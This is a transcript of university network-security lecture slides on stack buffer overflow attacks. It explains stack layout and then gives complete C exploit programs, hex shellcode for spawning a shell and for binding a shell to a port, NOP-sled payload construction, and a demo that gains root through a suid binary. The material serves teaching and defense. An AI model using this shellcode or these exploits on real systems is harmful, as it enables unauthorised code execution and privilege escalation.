Presentation is loading. Please wait.

Presentation is loading. Please wait.

November 2008Buffer Overflow1 King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008 Prof. Reuven Aviv.

Similar presentations


Presentation on theme: "November 2008Buffer Overflow1 King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008 Prof. Reuven Aviv."— Presentation transcript:

1 November 2008Buffer Overflow1 King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008 Prof. Reuven Aviv Buffer Overflow Attacks

2 November 2008Buffer Overflow2 Prelude W32.Blaster revisited

3 November 2006Buffer Overflow3 “W32.Blaster scans networks looking for computers that are vulnerable to the Microsoft RPC Buffer Overflow. To infect vulnerable machines, the worm connects to port 135/TCP and opens a command shell that listens on port 4444/TCP. It then opens a Trivial FTP server on port 69/UDP on the target machine. Using the command shell, the worm instructs the target machine to download its payload via the Trivial FTP server. The command shell is used to execute the downloaded file”.

4 November 2006Buffer Overflow4 W32.Blaster infects EPM process End Point Mapper process – very important –EPM Process listens on port 135 –RPC servers register name & port on EPM –RPC clients requests the info from EPM EPM includes GetMachineName(…) function –extracts a name from a longer string –puts it in local buffer (in stack) –didn’t check for length of supplied name –In reality, it was a long malicious string –A shell!.. that eventually runs instead of EPM

5 November 2006Buffer Overflow5 contents 1. The Stack 2. Flooding the stack in your own program 3. Making your program execute a bad code by flooding it into the stack 4. Buffer overflow attack of another process Appendices 1. The basic shellcode 2. port binding shellcode

6 November 2006Buffer Overflow6 1. The Stack

7 November 2006Buffer Overflow7 Process Memory Organization LoAddr HiAddr return address of function Code Stack Heap Variables Stack

8 November 2006Buffer Overflow8 2. Flooding the stack in your own program

9 November 2006Buffer Overflow9 Flooding a buffer: flow1.c void function(char *str) { char buffer[8]; strcpy(buffer, str); } what’s the problem here? void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } what will happen?

10 November 2006Buffer Overflow10 Arguments & Local variables pushed to stack RET Address Of function() buffer

11 November 2006Buffer Overflow11 strcopy() starts executing Arguments & local Variables Of strcopy Not drawn RET Address Of function() buffer

12 November 2006Buffer Overflow12 Strcopy is executed LoAddr HiAddr RET Address Of function

13 November 2006Buffer Overflow13 strcopy is executing: buffer is full LoAddr HiAddr RET Address Of function

14 November 2006Buffer Overflow14 strcopy is executing: Buffer Overflows RET Address Of function

15 November 2006Buffer Overflow15 Buffer Overflows RET Address Of function

16 November 2006Buffer Overflow16 Buffer Overflows RET Address Of function

17 November 2006Buffer Overflow17 function() returns to address out of memory space LoAddr HiAddr RET Address Of function

18 November 2006Buffer Overflow18 Compile & run the self flooding program OSPrompt /* waiting for my command OSPrompt gcc –o flow1 flow1.c /* compiling OSPrompt./flow1 /* running the program “Segmentation fault” /*The OS announce failure OSPrompt /* back to the prompt

19 3. Making your program execute a bad code by flooding it into the stack November 2008Buffer Overflow19

20 November 2006Buffer Overflow20 Injecting a bad code to the stack Inject a bad code into the memory space of the process, and set the return address to point back to the code Code Stack Heap Bad Code

21 November 2006Buffer Overflow21 Injecting a bad code to our program Bad Code

22 November 2006Buffer Overflow22 How a bad code is constructed (briefly) char shellcode [ ] = “ about 100 chars “ ; an array. In binary it is the injected bad code This code for example will spawn a shell (shellcode) A program that waits for a command It modifies itself. It has to be in DATA segment, so that your compiler will not know it is a code Char shellcode [] = /* injected code 45 bytes*/ “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\xbd\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff\/bin/sh”

23 November 2006Buffer Overflow23 Overflowing buffer with shellcode: flow2.c char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /*fill large_string array with address of buffer*/ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; first 45 bytes with shellcode strcpy(buffer, large_string); } flood local buffer

24 November 2006Buffer Overflow24 We want to go from here Code Data Stack RET Addr. Of main()

25 November 2006Buffer Overflow25 To here: When main() returns, a shell starts RET Addr. Of main() DATA

26 November 2006Buffer Overflow26 Initializing large_string with addresses Of buffer Code Data Stack RET Addr. Of main()

27 November 2006Buffer Overflow27 copy first 45 bytes of large_string with shellcode Code Data Stack RET Addr. Of main()

28 November 2006Buffer Overflow28 Copy large_string to smaller buffer in stack Code Data Stack RET Addr. Of main()

29 November 2006Buffer Overflow29 Overflow writes address of shellcode to RET Stack Data Code RET Addr. Of main()

30 November 2006Buffer Overflow30 When main() returns, a shell starts RET Addr. Of main() DATA

31 November 2006Buffer Overflow31 Overflowing Buffer with shellcode: flow2.c char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /*fill large_string array with address of buffer*/ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; first 45 bytes with shellcode strcpy(buffer, large_string); } flood local buffer

32 November 2006Buffer Overflow32 Compile an run your program OSPrompt /* OS waiting to my command OSprompt gcc – o flow2 flow.c /* compile OSPrompt./flow2 /* run the program $ /* prompt of the bad code */ $ exit /* I command the bad code to exit OSPrompt /* OS waiting to my command

33 November 2006Buffer Overflow33 4. Buffer overflow attack of another process Attacking Program: exploit.c Attacked Program: victim.c

34 November 2006Buffer Overflow34 Buffer overflow Attack: Overflowing another (victim) process Passing payload (shellcode+) from the attacking (exploit) process to victim process: – via standard input, network, environ var, pipe… Assume victim code has a vulnerable function func that overflows its local buffer with the payload How exploit knows where on the stack of victim is the location of RET of func? What is the shellcode address that we write there?

35 November 2006Buffer Overflow35 Overcoming our ignorance of the location of RET address of func and address of shellcode find SP (Stack Pointer) in exploit guess offset addr = SP - offset payload: addr, addr, … Shellcode NOP, NOP, … SP addr ret address of func addr, add, addr, addr, addr, addr, addr, addr, addr…. Shellcode instructions NOP, NOP, NOP, NOP, NOP, NOP,… Vulnerable function() Local buffer Overflow offset Payload: IP

36 November 2006Buffer Overflow36 The victim program: victim.c void main (int argc, char *argv[]) { char buffer [512] /* the local buffer if argc > 1 strcpy (buffer, argv[1]) ; } /*The vulnerable function func is here strcpy() /* the argument to victim will have the payload

37 November 2006Buffer Overflow37 The attacking program: exploit.c /* exploit gets two CL args: buffer size and offset. It puts payload in environment variable EGG */ #include #define DEFAULT_OFFSET0 #define DEFAULT_BUFFER_SIZE512 #define NOP0x90 char shellcode[]="\xeb\x1f\.........\x0b\xff/bin/sh"; 45B unsigned long get_sp(void) { return current SP __asm__(“movel %esp, %eax); }

38 November 2006Buffer Overflow38 void main( int argc, *char argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset = DEFAULT_OFFSET; int bsize = DEFAULT_BUFFER_SIZE; int i; if (argc >1 ) bsize = atoi(argv[1]); if argc > 2 offset = atoi(argv[2]); if (!(buff = malloc(bsize))) {printf (“no memory\n”);exit(0)} addr = get_sp() – offset; printf (“Using address: 0x%x\n”, addr);

39 November 2006Buffer Overflow39 ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i += 4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) – strlen(shellcode)/2)); for (i= 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff [bsize -1] = \0; memcpy (buff, “EGG=“, 4); putenv(buff); system(“/bin/bash”); /* } /* end exploit.c */ EGG=NOP NOP…Shellcode … addr addr addr…

40 November 2006Buffer Overflow40 Run the two programs MyPrompt./exploit 612 run exploit guess offset Using address: 0xbffffdb4 /* exploit anaounce MyPrompt./victim $EGG /* run victim /* victim gets payload in an environment variable EGG*/ $ /* prompt from victim at exploit machine, waiting for command

41 Appendices: 1. The basic shellcode 2. Port Binding Shell code November 2008Buffer Overflow41

42 Appendix 1: The basic shellcode November 2008Buffer Overflow42

43 November 2006Buffer Overflow43 Strategy to build bad code 1. Write a bad code in C. Usually it spawns a shell –Basically this is execve(/bin/sh, …) 2. Compile to assembly code 3. get machine code (in hex) 4. copy machine code in hex into the shellcode array Several modifications along the way –Addresses (e.g. of /bin/sh) problem –\0 problem

44 November 2006Buffer Overflow44 Step 1: Spawning a Shell – in C #include void main() { char *name[2]; /* array of two pointers*/ name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } /* name is a pointer to array of two pointers */

45 November 2006Buffer Overflow45 Assembler for main() (Procedure prelude) 0x8000130 pushl %ebp save current FP on stack 0x8000131 movl %esp, %ebp new FP := SP 0x8000133 subl $0x8, %esp move SP 8 bytes (Space for local var – 2 pointers: char *name [2] ) All addresses of variables are relative to FP (%ebp) Preparing data structures for exec on the stack 0x8000136 movl $0x80027b8, 0xfffffff8(%ebp) (copy address of /bin/sh into first element of name[]) (name[0] = “/bin/sh”;) 0x800013d movl $0x0, 0xfffffffc(%ebp) (copy 0 (NULL) to second element of name[])

46 November 2006Buffer Overflow46 calling execve from main() (Pushing 3 arguments of execve - start from third) 0x8000144 pushl $0x0 the NULL argument 0x8000146 leal 0xfffffff8(%ebp), %eax (copy address of array, i.e. (ebp)-8, to eax) 0x8000149 pushl %eax now push it to stack 0x800014a movl 0xfffffff8(%ebp), %eax (copy address of /bin/sh, which is in (ebp)-8, to eax) 0x800014d pushl %eax now push it to stack 0x800014e call 0x80002bc call execve (call will push IP – the return address – to stack)

47 November 2006Buffer Overflow47 main() after execve returned 0x8000153 addl $0xc, %esp SP goes down by 12 (free the stack from the three arguments of exceve) 0x8000156 movl %ebp, %esp (make SP points to saved FP, just above the RET) 0x8000158 popl %ebp recover saved FP (now SP points to the RET address) 0x8000159 ret (ret will pop RET address, pointed to by SP, into IP)

48 November 2006Buffer Overflow48 execve assembly code Note: Syscalls in Linux need arguments in registers (procedure prelude) 0x80002bc pushl %ebp save current FP on stack 0x80002bd movl %esp, %ebp new FP:= SP (ebp, frame pointer, now points to top of stack, above the end of the three pointer arguments prepared for exceve. The arguments are at offsets 8, 12, 16 0x80002bf pushl %ebx (We need the use of this register, so save it)

49 November 2006Buffer Overflow49 execve assembly code (2) 0x80002c0 movl $0xb, %eax put 11 in eax (11 is the Syscall ID of execve) 0x80002c5 movl 0x8(%ebp), %ebx 0x80002c8 movl 0xc(%ebp), %ecx 0x80002cb movl 0x10 (%ebp), %edx (copy three arguments from stack to registers) 0x80002ce int 0x80 (Software interrupt – execute the Syscall)

50 November 2006Buffer Overflow50 Summary - to run execve we need to: Have a Null terminated String /bin/sh in memory Have address of the String /bin/sh in memory Have a NULL address (long) after that –Together this is the two pointers array Copy Syscall ID of execve (11 = oxb) to eax Copy address of the String /bin/sh to ebx (1’st arg) Copy addr. of the address of the String to ecx –2’nd arg - the address of the two pointers array Copy address of the NULL to edx - third arg Execute int 0x80

51 November 2006Buffer Overflow51 The address of /bin/sh String In general Shellcode need to find it at runtime why? Also true for all other addresses of strings The jmp call trick: –Put CALL at end of program, with String /bin/sh just after that –When CALL is executed, its return address = address of the String, will be pushed to Stack –Pop the address from stack All addresses will be offset from this address

52 November 2006Buffer Overflow52 1. jmp 0x26 jump to call at the bottom 2. popl %esi pop address of string to esi 3. movl %esi, 0x8 (%esi) put its address after the string 4. movb $0x0, 0x7(%esi) put \0 at end of string 5. movl $0x0, oxc(%esi) put NULL address after that 6. movl $0xb, %eax put Syscall id (11) in eax 7. movl %esi, %ebx put address of string in ebx 7. leal 0x8(%esi), %ecx put address of address in ecx 8. leal 0xc(%esi), %edx put addr. of NULL addr in edx 9. int $0x80 software interrupt to kernel 10. movl $0x1, %eax put Syscall id of exit () in eax 11. movl $0x0, %ebx put argument of exit (0) in ebx 12. int $0x80 software interrupt to kernel 13. call -0x2b jump to instruction 2 (popl) 14..string \”/bin/sh\” String

53 November 2006Buffer Overflow53 Removing Null Bytes why? 1. Generate a 0 in a register –xorl %eax, %eax replace 0 argument by content of eax: movb $0x0, 0x7(%esi)  movb %eax, 0x7(%esi) movl $0x0, 0xc(%esi)  movl %eax, 0xc(%esi) 2. movl $0xb, %eax  movb $0xb, %al 3. movl $0x1, %eax  –xorl %eax, %eax; inc %eax

54 November 2006Buffer Overflow54 \xeb\x1f jmp 0x1f \x5e popl %esi \x89\x76\x08 movl %esi,0x8(%esi) \x31\xc0 xorl %eax,%eax \x88\x46\x07 movb %eax,0x7(%esi) \x89\x46\x0c movl %eax,0xc(%esi) \xb0\x0b movb $0xb,%al \x89\xf3 movl %esi,%ebx \x8d\x4e\x08 leal 0x8(%esi),%ecx \x8d\x56\x0c leal 0xc(%esi),%edx \xcd\x80 int $0x80 \x31\xdb xorl %ebx,%ebx \x89\xd8 movl %ebx,%eax \x40 inc %eax \xcd\x80 int $0x80 \xe8\xdc\xff\xff\xff call -0x24 /bin/sh.string \"/bin/sh\” The basic shell-code: 45 Bytes

55 Appendix 2: Port Binding Shellcode November 2008Buffer Overflow55

56 November 2006Buffer Overflow56 Taeho Ho: Advanced Buffer Overflow exploit http://www.windowsecurity.com/uplarticle/1/advanced.txt Port Binding Shellcode scenario Child process executes vulnerable strcpy() Parent sends a payload to child process Payload includes Port Binding shellcode Child process runs the shellcode Child opens a socket, waiting for commands Parent sends a command to child

57 November 2006Buffer Overflow57 The vulnerable program: victim2.c int main(int argc, char **argv) { char buffer[1024]; if(argc>1) strcpy(buffer, argv[1]); }

58 November 2006Buffer Overflow58 exploit exploit forks a child process child executes victim2 program Parent passes a pointer to payload to child –Child copies payload to buffer, overflows –Child executes a shell listening on a port Parent: –Communicate via socket with child – user input directed to child –Child response printed on stdout

59 November 2006Buffer Overflow59 Design the shellcode: a simple port binding server int soc, cli; struct sockaddr_in theAddr; int main() { if(fork()==0) {new process theAddr.sin_family=2; AF_INET theAddr.sin_addr.s_addr=0; Any address theAddr.sin_port=0x77; theAddr points to [2,0,0x77] soc=socket(2,1,6); AF_INET, TCP, IP bind(soc, (struct sockaddr *)&theAddr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); stdin, sdout, stderr = cli dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); }}

60 November 2006Buffer Overflow60 disassemble fork() "\x31\xc0“ xorl %eax, %eax "\xb0\x02“ movb $0x2,%al fork() id to %al "\xcd\x80" int $0x80 software interrupt

61 November 2006Buffer Overflow61 disassemble socket(2,1,6) "\x31\xc0“ xorl %eax,%eax "\x31\xdb“ xorl %ebx,%ebx "\x89\xf1“ movl %esi,%ecx point %ecx to array of args "\xb0\x02“ movb $0x2,%al 1’st arg to %al "\x89\x06“ movl %eax, (%esi) %esi points 1’st arg "\xb0\x01“ movb $0x1,%al 2’nd arg to %al "\x89\x46\x04“ movl %eax,0x4(%esi) 2’nd arg after 1’st "\xb0\x06“ movb $0x6,%al 3’rd arg to %al "\x89\x46\x08“ movl %eax,0x8(%esi) 3’rd arg after 2’nd "\xb0\x66“ movb $0x66,%al sock syscalls id =66 to %al "\xb3\x01“ movb $0x1,%bl socket() ID = 1 in %bl "\xcd\x80“ int $0x80 interrupt. %eax has ret. val (soc)

62 November 2006Buffer Overflow62 disassemble bind(soc, &theAddr, 0x10) "\x89\xf1" movl %esi,%ecx %ecx will point to all args "\x89\x06" movl %eax, (%esi) 1’st arg, soc, stored at esi "\xb0\x02“ movb $0x2,%al 2 (AF_INET) to %al "\x66\x89\x46\x0c“ movw %ax, 0xc(%esi) 2,0 stored at esi + 12 "\xb0\x77“ movb $0x77,%al port num to %al "\x66\x89\x46\x0e“ movw %ax, 0xe(%esi) port stored at esi + 14 "\x8d\x46\x0c“ leal 0xc(%esi),%eax & of theADDR is esi +12 "\x89\x46\x04“ movl %eax, 0x4(%esi) 2’nd arg stored at esi+4 "\x31\xc0“ xorl %eax,%eax "\x89\x46\x10“ movl %eax,0x10(%esi) 0 stored at esi + 16 "\xb0\x10 “ movb $0x10,%al 16 into %al "\x89\x46\x08“ movl %eax,0x8(%esi) 3’rd arg stored at esi+8 "\xb0\x66“ movb $0x66,%al socket syscalls = 66 to %al "\xb3\x02“ movb $0x2,%bl bind() id to %bl "\xcd\x80“ int $0x80 interrupt.

63 November 2006Buffer Overflow63 disassemble listen(soc, 1) "\x89\xf1“ movl %esi,%ecx %ecx will point to all args "\x89\x06" movl %eax, (%esi) 1’st arg stored at esi "\xb0\x01“ movb $0x1,%al 2’nd arg to %al "\x89\x46\x04“ movl %eax,0x4(%esi) 2’nd arg at esi+4 "\xb0\x66“ movb $0x66,%al socket syscalls id = 66 to %al "\xb3\x04“ movb $0x4,%bl listen() id = 4 to %bl "\xcd\x80“ int $0x80 interrupt Note: % eax has soc when subroutines return

64 November 2006Buffer Overflow64 disassemble accept(soc, 0, 0) "\x89\xf1“movl %esi,%ecx %ecx will point to args "\x89\xf1“ movl %eax, (%esi) 1’st arg (soc) at esi "\x31\xc0“ xorl %eax,%eax "\x89\x46\x04“ movl %eax,0x4(%esi) 0 at esi+4 "\x89\x46\x08“ movl %eax,0x8(%esi) 0 at esi + 8 "\xb0\x66“ movb $0x66,%al "\xb3\x05“ movb $0x5,%bl accept() id = 5 to %bl "\xcd\x80“ int $0x80 Returned value, cli, is in %eax

65 November 2006Buffer Overflow65 Disassemble dup2(cli, 0) "\x88\xc3“ movb %al,%bl 1’st arg (cli) to %bl "\xb0\x3f“ movb $0x3f,%al dup2() id = 63 to %al "\x31\xc9“ xorl %ecx,%ecx 2’nd arg (0) to %ecl "\xcd\x80“ int $0x80

66 November 2006Buffer Overflow66 Shell code \xb0\x02 movb $0x2,%al \xcd\x80 int $0x80 \x85\xc0 testl %eax,%eax \x75\x43 jne 0x43 \xeb\x43 jmp 0x43 \x5e popl %esi \x31\xc0 xorl %eax,%eax \x31\xdb xorl %ebx,%ebx \x89\xf1 movl %esi,%ecx \xb0\x02 movb $0x2,%al \x89\x06 movl %eax,(%esi) \xb0\x01 movb $0x1,%al \x89\x46\x04 movl %eax,0x4(%esi) \xb0\x06 movb $0x6,%al \x89\x46\x08 movl %eax,0x8(%esi) \xb0\x66 movb $0x66,%al \xb3\x01 movb $0x1,%bl \xcd\x80 int $0x80 \x89\x06 movl %eax,(%esi) \xb0\x02 movb $0x2,%al \x66\x89\x46\x0c movw %ax,0xc(%esi) \xb0\x77 movb $0x77,%al \x66\x89\x46\x0e movw %ax,0xe(%esi) \x8d\x46\x0c leal 0xc(%esi),%eax \x89\x46\x04 movl %eax,0x4(%esi) \xcd\x80 int $0x80 \xb0\x3f movb $0x3f,%al \xb1\x01 movb $0x1,%cl \xcd\x80 int $0x80 \xb0\x3f movb $0x3f,%al \xb1\x02 movb $0x2,%cl \xcd\x80 int $0x80 \xb8\x2f\x62\x69\x6e movl $0x6e69622f,%eax \x89\x06 movl %eax,(%esi) \xb8\x2f\x73\x68\x2f movl $0x2f68732f,%eax \x89\x46\x04 movl %eax,0x4(%esi) \x31\xc0 xorl %eax,%eax \x88\x46\x07 movb %al,0x7(%esi) \x89\x76\x08 movl %esi,0x8(%esi) \x89\x46\x0c movl %eax,0xc(%esi) \xb0\x0b movb $0xb,%al \x89\xf3 movl %esi,%ebx \x8d\x4e\x08 leal 0x8(%esi),%ecx \x8d\x56\x0c leal 0xc(%esi),%edx \xcd\x80 int $0x80 \x31\xc0 xorl %eax,%eax \xb0\x01 movb $0x1,%al \x31\xdb xorl %ebx,%ebx \xcd\x80 int $0x80 \xe8\x5b\xff\xff\xff call -0xa5 \x31\xc0 xorl %eax,%eax \x89\x46\x10 movl %eax,0x10(%esi) \x89\x46\x08 movl %eax,0x8(%esi) \xb0\x66 movb $0x66,%al \xb3\x02 movb $0x2,%bl \xcd\x80 int $0x80 \xeb\x04 jmp 0x4 \xeb\x55 jmp 0x55 \xeb\x5b jmp 0x5b \xb0\x01 movb $0x1,%al \x89\x46\x04 movl %eax,0x4(%esi) \xb0\x66 movb $0x66,%al \xb3\x04 movb $0x4,%bl \xcd\x80 int $0x80 \x31\xc0 xorl %eax,%eax \x89\x46\x04 movl %eax,0x4(%esi) \x89\x46\x08 movl %eax,0x8(%esi) \xb0\x66 movb $0x66,%al \xb3\x05 movb $0x5,%bl \xcd\x80 int $0x80 \x88\xc3 movb %al,%bl \xb0\x3f movb $0x3f,%al \x31\xc9 xorl %ecx,%ecx

67 November 2006Buffer Overflow67 exploit exploit forks a child process child executes victim2 program parent pass a pointer to payload to child –Child copies payload to buffer, overflows –Child executes a shell listening on a port Parent: –Communicate via socket with child – user input directed to child –child response printed on stdout

68 November 2006Buffer Overflow68 exploit.c #define ALIGN 0 /*buf should be multiple of 4 */ #define OFFSET 0 /* default offset */ #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 NOP, NOP Shellcode addr, addr addr, addr,.. RET_POSITION 0 range \0 Payload

69 November 2006Buffer Overflow69 exploit (cont’d) char shellcode[]= "\x31\xc0\xb0\x02\xcd\x80…\”; unsigned long get_sp(void) /* get stack pointer*/ { __asm__("movl %esp,%eax"); } long getip(char *name) {/*get IP addr. Of name*/} int exec_sh(int sockfd) { /*used by parent */ /* copy stdin to sockfd; copy sockfd to stdout*/} int connect_sh(long IP) {/*connect to IP*/}

70 November 2006Buffer Overflow70 exploit (cont’d) void main(int argc, char **argv) { char buff[RET_POSITION + RANGE + ALIGN +1 ], *ptr; long addr; unsigned long sp; int offset=OFFSET, bsize=RET_POSITION+RANGE+ALIGN+1; int i, sockfd; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0; i < bsize; i += 4) { /*flush addr into buff - little endian*/ buff[i+ALIGN] = (addr&0x000000ff); /*LSB first*/ buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } /* MSB last */

71 November 2006Buffer Overflow71 exploit (cont’d) for(i=0; i <bsize-RANGE*2-strlen(shellcode)-1; i++) buff[i]=NOP; /* fill bottom of buff with NOP */ /* next fill buff with shellcode */ ptr = buff + bsize - RANGE*2 - strlen(shellcode) -1; for(i=0; i < strlen(shellcode); i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; /*make buff a C string */ printf("Jump to 0x%08x\n",addr); if(fork()==0) { /* child process */ execl("./vulnerable4","vulnerable4", buff, 0); exit(0); } sleep(5); /*from here the parent process */ sockfd=connect_sh(getip("127.0.0.1")); /*connect with child */ exec_sh(sockfd); } /* user interaction with child via parent */

72 November 2006Buffer Overflow72 Running the exploit $ ls –l victim2 -rwsr-xr-x 1 root root … victim2 suid root $./exploit Jump to 0xbfffec64 Connect to the shell Can't connect to the shell $./exploit4 500 Jump to 0xbfffea70 Connect to the shell whoami root


Download ppt "November 2008Buffer Overflow1 King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008 Prof. Reuven Aviv."

Similar presentations


Ads by Google